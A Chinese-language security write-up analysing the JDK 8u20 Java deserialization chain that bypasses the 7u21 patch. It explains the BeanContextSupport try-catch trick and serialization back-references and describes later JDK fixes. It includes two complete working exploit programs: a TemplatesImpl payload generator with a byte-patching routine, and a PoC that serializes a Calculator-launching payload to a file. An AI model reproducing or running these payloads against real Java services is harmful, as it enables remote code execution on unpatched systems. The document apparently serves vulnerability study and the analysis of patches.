JDK8u20反序列化浅析

jdk8u20是对jdk7u21的绕过。

jdk7u21的修复方式

回顾一下jdk7u21的修复方式
首先是对AnnotationType的构造方法中对参数类型进行了判断。原先是在不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。
新版中,将return;修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");,这样,反序列化时会出现一个异常,导致整个过程停止。这样的话整个反序列化链也被中断了。

1

后续版本如7u80也有在AnnotationInvocationHandler构造方法的一开始的位置,就对于this.type进行了校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 改之前:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

// 改之后:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

jdk8u20绕过思路

0x01 try-catch嵌套

对于以下代码

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
try {
System.out.println("Start");
try {
int a = 1/0;
} catch (ArithmeticException e) {
throw new InvalidObjectException("Invalid");
}
} catch (Exception e) {
}
System.out.println("End");
}

运行结果如下:

1
2
Start
End

这里涉及到java的异常捕捉机制,最里层的try-catch会抛出异常的会被最外层的catch不再向外抛出异常而是忽略,这样的话程序会继续执行。
同理,我们可以找到类似的函数来绕过jdk7u21的修复。
现在我们需要寻找到一个类,满足以下条件:

  1. 实现Serializable
  2. 重写了readObject方法
  3. readObject方法还存在对readObject的调用,并且对调用的readObject方法进行了异常捕获并继续执行

0x02 BeanContextSupport

最终我们找到了想要的类: java.beans.beancontext.BeanContextSupport,其关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();

initialize();

bcsPreDeserializationHook(ois);

if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);

deserialize(ois, bcmListeners = new ArrayList(1));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;

while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;

try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
// ...
}

0x03 序列化机制

引用机制

在序列化流程中,对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据,并且会被特定的方法读取;在序列化数据中,存在的对象有nullnew objectsclassesarraysstringsback references等,这些对象在序列化结构中都有对应的描述信息,并且每一个写入字节流的对象都会被赋予引用Handle,并且这个引用Handle可以反向引用该对象(使用TC_REFERENCE结构,引用前面handle的值),引用Handle会从0x7E0000开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。

举一个简单的例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class exp implements Serializable {
private static final long serialVersionUID = 100L;
public static int num = 0;
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
}
public static void main(String[] args) throws IOException {
exp t = new exp();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test"));
out.writeObject(t);
out.writeObject(t); //第二次写入
out.close();
}
}

我们用SerializationDumper这个工具来查看其序列化后的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 3 - 0x00 03
Value - exp - 0x657870
serialVersionUID - 0x00 00 00 00 00 00 00 64
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
exp
values
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01

可以注意到在最后部分出现了TC_REFERENCE块,那么反序列化时要如何处理TC_REFERENCE块呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private Object readObject0(boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* Fix for 4360508: stream is currently at the end of a field
* value block written via default serialization; since there
* is no terminating TC_ENDBLOCKDATA tag, simulate
* end-of-custom-data behavior explicitly.
*/
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}

byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
try {
switch (tc) {
// ...
case TC_REFERENCE:
return readHandle(unshared);
// ...
}
} catch () {
// ...
}
// ...

readHandle方法代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private Object readHandle(boolean unshared) throws IOException {
if (bin.readByte() != TC_REFERENCE) {
throw new InternalError();
}
passHandle = bin.readInt() - baseWireHandle;
if (passHandle < 0 || passHandle >= handles.size()) {
throw new StreamCorruptedException(
String.format("invalid handle value: %08X", passHandle +
baseWireHandle));
}
if (unshared) {
// REMIND: what type of exception to throw here?
throw new InvalidObjectException(
"cannot read back reference as unshared");
}

Object obj = handles.lookupObject(passHandle);
if (obj == unsharedMarker) {
// REMIND: what type of exception to throw here?
throw new InvalidObjectException(
"cannot read back reference to unshared object");
}
return obj;
}

这个方法会从字节流中读取TC_REFERENCE标记段,它会把读取的引用Handle赋值给passHandle变量,然后传入lookupObject(),在lookupObject()方法中,如果引用的handle不为空、没有关联的ClassNotFoundException(status[handle] != STATUS_EXCEPTION),那么就返回给定handle的引用对象,最后由readHandle方法返回给对象。
也就是说,反序列化流程还原到TC_REFERENCE的时候,会尝试还原引用的handle对象。

成员抛弃机制

在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle

利用这些机制

了解了上面2个机制之后我们就可以想到一个绕过jdk7u21修复方法的机制,即:

  1. 使用BeanContextSupport,利用其特殊的readChildren方法还原一个非法的AnnotationInvocationHandler对象,并留下一个Handle
  2. 在我们HashObject发生哈希碰撞造成RCE之前还原非法的AnnotationInvocationHandler对象,使得之后反序列化相同对象时还原引用的handle对象

exp1

这里介绍一下沈沉舟师傅的exp
详细的可以参考https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
对于getObject()方法中插入的三个元素,我的理解如下:
add(bcs)bcs是封装有AnnotationInvocationHandlerBeanContextSupport实例;
先存放bcs,反序列化时会先反序列化bcs,然后进入bcsreadChildren运行AnnotationInvocationHandlerreadObject,抛出异常,但被bcsreadChildrencatch忽略,代码继续执行
虽然没有反序列化成功,但留下恶意AnnotationInvocationHandlerHandle
add(TemplatesProxy):在hm.put("0DE2FF10", ti);后,会还原引用的handle对象
因为反序列化相同对象时还原引用的handle对象,之前已经留下恶意AnnotationInvocationHandlerHandle,所以会引用这个handle,触发TemplatesImpl.getOutputProperties,执行恶意类
而且一定要让add(TemplatesProxy)add(ti)后面,这样才能让TemplatesProxy触发equals()

断点设置:

1
2
3
4
5
6
7
8
9
JDK8u20Exec.main -> ois.readObject();
BeanContextSupport.readObject -> 第一行
BeanContextSupport.readChildren -> 第一行
AnnotationInvocationHandler.readObject -> 第一行
TemplatesImpl.readObject -> 第一行
AnnotationInvocationHandler.readObject -> var2 = AnnotationType.getInstance(this.type);
BeanContextSupport.readChildren -> 第一个try-catch的continue;
AnnotationInvocationHandler.invoke -> 第一行
AnnotationInvocationHandler.equalsImpl -> 第一行

通过以上断点可以清晰看出执行流程。

对于PrivatePatch方法中字节的调换,这里引用其他师傅的理解:

sun.reflect.annotation.nAnnotationInvocationHandlerclassDescFlagsSC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
这一步其实不是通过理论推算出来的,是通过debug以及查看 pwntesterpoc 发现需要这么改
原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEd = true
导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1)) -> count = ois.readInt(); 报错,无法完成整个反序列化流程
没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
标记: 7375 6e2e 7265 666c 6563 –> sun.reflect...

运行到BeanContextSupport.deserialize()中此时ois.readInt()时面对的序列化数据可能是个TC_OBJECT或者TC_NULL
为了让攻击顺利,必须让ois.readInt()面对的序列化数据是TC_BLOCKDATA包裹的整型变量0
0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78 -> 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78

1
2
3
4
5
6
7
8
9
10
11
TC_NULL - 0x70          // old
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78

TC_BLOCKDATA - 0x77 // new
Length - 4 - 0x04
Contents - 0x00000000
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
1
2
3
4
【77】TC_BLOCKDATA:可选的数据块,参考后边的章节就知道,所有基础类型数据的序列化都会使用数据块的结构;
【04】该值表示当前写入的值占用的字节数,因为是int类型的数据,所以这个120的数据应该占用4个字节;
【00 00 00 00】这段数据表示值;
【0x70】即TC_NULL是一个终止符,TC_NULL一个字节长度的数据,表示null值,一般这个值表示的是对象的空引用,也可以用于表示递归继承终止符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
package com.alter.serialize.ysoserial.payload.jdk8u20.scz;

import com.alter.serialize.ysoserial.evil.evil.Evil;
import com.alter.serialize.ysoserial.util.write2file;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK8u20Exec {
@SuppressWarnings("unchecked")
private static BeanContextSupport getBeanContextSupport(Object key, Object value) throws Exception {
BeanContextSupport bcs = new BeanContextSupport();

Field serializable = BeanContextSupport.class.getDeclaredField("serializable");
serializable.setAccessible(true);

serializable.set(bcs, 1);
HashMap hm = new HashMap(1);
hm.put(key, value);
Field children = BeanContextSupport.class.getDeclaredField("children");
children.setAccessible(true);
children.set(bcs, hm);
bcs.beanContextChildPeer = bcs;
return (bcs);
}

protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
return clazz.toBytecode();
}

private static TemplatesImpl getTemplatesImpl() throws Exception {
byte[] evilbyte = getBytescode();
TemplatesImpl ti = new TemplatesImpl();

Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(ti, new byte[][]{evilbyte});

Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(ti, new TransformerFactoryImpl());

Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);

_name.set(ti, "");

return (ti);
}

@SuppressWarnings("unchecked")
private static Object getObject() throws Exception {
TemplatesImpl ti = getTemplatesImpl();
HashMap hm = new HashMap(1);

Class clazz_AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons_AIH = clazz_AIH.getDeclaredConstructor(Class.class, Map.class);
cons_AIH.setAccessible(true);

InvocationHandler ih = (InvocationHandler) cons_AIH.newInstance(Target.class, hm);

Field f_type = clazz_AIH.getDeclaredField("type");
f_type.setAccessible(true);

f_type.set(ih, Templates.class);

Templates TemplatesProxy = (Templates) Proxy.newProxyInstance
(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
ih
);

BeanContextSupport bcs = getBeanContextSupport(ih, null);
LinkedHashSet lhs = new LinkedHashSet(0);

lhs.add(bcs);
lhs.add(ti);
lhs.add(TemplatesProxy);

hm.put("0DE2FF10", ti);
System.out.println(ti.hashCode());
return (lhs);
}

private static int[] ComputeFailure(int[] pattern) {
int[] failure = new int[pattern.length];
int j = 0;

for (int i = 1; i < pattern.length; i++) {
while (j > 0 && pattern[j] != pattern[i]) {
j = failure[j - 1];
}
if (pattern[j] == pattern[i]) {
j++;
}
failure[i] = j;
}
return (failure);
}
private static int SearchPatternWithKMP
(
byte[] buf,
int off,
int[] pattern,
int wildcard
) {
int ret = -1;
int[] failure = ComputeFailure(pattern);
int j = 0;

if (wildcard >= 0 && wildcard <= 0xff) {
for (int i = off; i < buf.length; i++) {
while (j > 0 && (byte) pattern[j] != buf[i]) {
j = failure[j - 1];
}
if ((byte) pattern[j] == buf[i]) {
j++;
}
if (j == pattern.length) {
ret = i - pattern.length + 1;
break;
}
}
} else {
for (int i = off; i < buf.length; i++) {
while (j > 0 && pattern[j] != wildcard && (byte) pattern[j] != buf[i]) {
j = failure[j - 1];
}
if (pattern[j] == wildcard || (byte) pattern[j] == buf[i]) {
j++;
}
if (j == pattern.length) {
ret = i - pattern.length + 1;
break;
}
}
}
return (ret);
}

private static byte[] PrivatePatch(byte[] buf) {
int[] pattern_0 =
{
0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e, 0x6e, 0x6f,
0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c,
0x65, 0x72
};
int[] pattern_1 =
{
0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78
};
System.out.println(Arrays.toString(pattern_1));
int off_0, off_1;
int[] patch_1 =
{
0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78
};

while (true) {
off_0 = SearchPatternWithKMP(buf, 0, pattern_0, 256);
off_1 = SearchPatternWithKMP(buf, 0, pattern_1, 256);
if (-1 == off_0 || -1 == off_1) {
break;
}
off_0 += pattern_0.length + 8;
if (buf[off_0] != 0x02) {
break;
}
System.out.print
(
String.format
(
"off_0 = %#x\n" +
"off_1 = %#x\n",
off_0,
off_1
)
);
System.out.println(String.format("%#x"+ ":" +"%#x"+"_"+ "%#x",off_0 ,buf[off_0],0x03));
buf[off_0] = 0x03;

for (int i = 0; i < patch_1.length; i++) {
System.out.println(String.format("%#x"+ ":" +"%#x"+"_"+ "%#x",off_1 + i ,buf[off_1 + i],patch_1[i]));
buf[off_1 + i] = (byte) patch_1[i];
}
break;
}
return (buf);
} /* end of PrivatePatch */

public static void main(String[] argv) throws Exception {
Object obj = getObject();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] ser = bos.toByteArray();
byte[] ser_patch = PrivatePatch(ser);
ByteArrayInputStream bis = new ByteArrayInputStream(ser_patch);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}

exp2

这是1nhann师傅的exp。生成的ser文件需要在另一个文件中反序列化,才能执行成功。
我认为其实原理和沈沉舟师傅的原理一样,只是沈沉舟师傅把TC_NULL - 0x70移到了后面;1nhann师傅把TC_NULL - 0x70以及前面的0x78删掉了。
但是沈沉舟师傅是0x78,0x70,0x70...; 1nhann师傅是0x78,0x70,0x78,0x70...经过调试,发现可能是(不确定,后面系统的看一下java8的序列化规范)newInvocationHandlerClass中给AnnotationInvocationHandler添加writeObject方法造成的。
沈沉舟师傅的paylad删除对应字节的0x70一样能成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.alter.serialize.ysoserial.payload.jdk8u20.inhann;

import com.alter.serialize.ysoserial.other_util.*;
import com.alter.serialize.ysoserial.util.write2file;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
public static Class newInvocationHandlerClass() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }",clazz);
clazz.addMethod(writeObject);
return clazz.toClass();
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

Class ihClass = newInvocationHandlerClass();
InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

Reflections.setFieldValue(ih,"type", Templates.class);
Templates proxy = Gadgets.createProxy(ih,Templates.class);

BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b,"serializable",1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih,null);
Reflections.setFieldValue(b,"children",tmpMap);


LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b);
set.add(templates);
set.add(proxy);

HashMap hm = new HashMap();
hm.put("f5a5a608",templates);
Reflections.setFieldValue(ih,"memberValues",hm);

byte[] ser = Serializer.serialize(set);
// write2file.bytes2File("inhann1.ser",ser);
byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};

int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
System.out.println(Arrays.toString(shoudReplace));
System.out.println(Arrays.toString(ser));
ser = ByteUtil.deleteAt(ser,i); // delete 0x78
ser = ByteUtil.deleteAt(ser,i); // delete 0x70
System.out.println(Arrays.toString(ser));
// write2file.bytes2File("inhann2.ser",ser);

// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
// Deserializer.deserialize(ser);
//一定要执行Exc文件才能触发
ReadWrite.writeFile(ser,"ser.txt");
}
}

jdk8u20的修复方式

jdk8u25

jdk8u25的时候给 getMemberMethods() 中加了一段:

1
validateAnnotationMethods(var1);

定义了一个 validateAnnotationMethods(),反序列化的时候 this.type 所调用的方法做了限制。
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/**
* Validates that a method is structurally appropriate for an
* annotation type. As of Java SE 8, annotation types cannot
* contain static methods and the declared methods of an
* annotation type must take zero arguments and there are
* restrictions on the return type.
*/
private void validateAnnotationMethods(Method[] memberMethods) {
/*
* Specification citations below are from JLS
* 9.6.1. Annotation Type Elements
*/
boolean valid = true;
for(Method method : memberMethods) {
/*
* "By virtue of the AnnotationTypeElementDeclaration
* production, a method declaration in an annotation type
* declaration cannot have formal parameters, type
* parameters, or a throws clause.
*
* "By virtue of the AnnotationTypeElementModifier
* production, a method declaration in an annotation type
* declaration cannot be default or static."
*/
if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||
method.isDefault() ||
method.getParameterCount() != 0 ||
method.getExceptionTypes().length != 0) {
valid = false;
break;
}

/*
* "It is a compile-time error if the return type of a
* method declared in an annotation type is not one of the
* following: a primitive type, String, Class, any
* parameterized invocation of Class, an enum type
* (section 8.9), an annotation type, or an array type
* (chapter 10) whose element type is one of the preceding
* types."
*/
Class<?> returnType = method.getReturnType();
if (returnType.isArray()) {
returnType = returnType.getComponentType();
if (returnType.isArray()) { // Only single dimensional arrays
valid = false;
break;
}
}

if (!((returnType.isPrimitive() && returnType != void.class) ||
returnType == java.lang.String.class ||
returnType == java.lang.Class.class ||
returnType.isEnum() ||
returnType.isAnnotation())) {
valid = false;
break;
}

/*
* "It is a compile-time error if any method declared in an
* annotation type has a signature that is
* override-equivalent to that of any public or protected
* method declared in class Object or in the interface
* java.lang.annotation.Annotation."
*
* The methods in Object or Annotation meeting the other
* criteria (no arguments, contrained return type, etc.)
* above are:
*
* String toString()
* int hashCode()
* Class<? extends Annotation> annotationType()
*/
String methodName = method.getName();
if ((methodName.equals("toString") && returnType == java.lang.String.class) ||
(methodName.equals("hashCode") && returnType == int.class) ||
(methodName.equals("annotationType") && returnType == java.lang.Class.class)) {
valid = false;
break;
}
}
if (valid)
return;
else
throw new AnnotationFormatError("Malformed method on an annotation type");
}

8u72-b12

8u72-b12开始,AnnotationInvocationHandler.readObject()中不再调用s.defaultReadObject(),转而调用s.readFields()。反序列化流程到达443行时,并没有产生完整的AnnotationInvocationHandler实例,即使利用BeanContextSupport捕获异常也不会改变这点,利用链被破坏。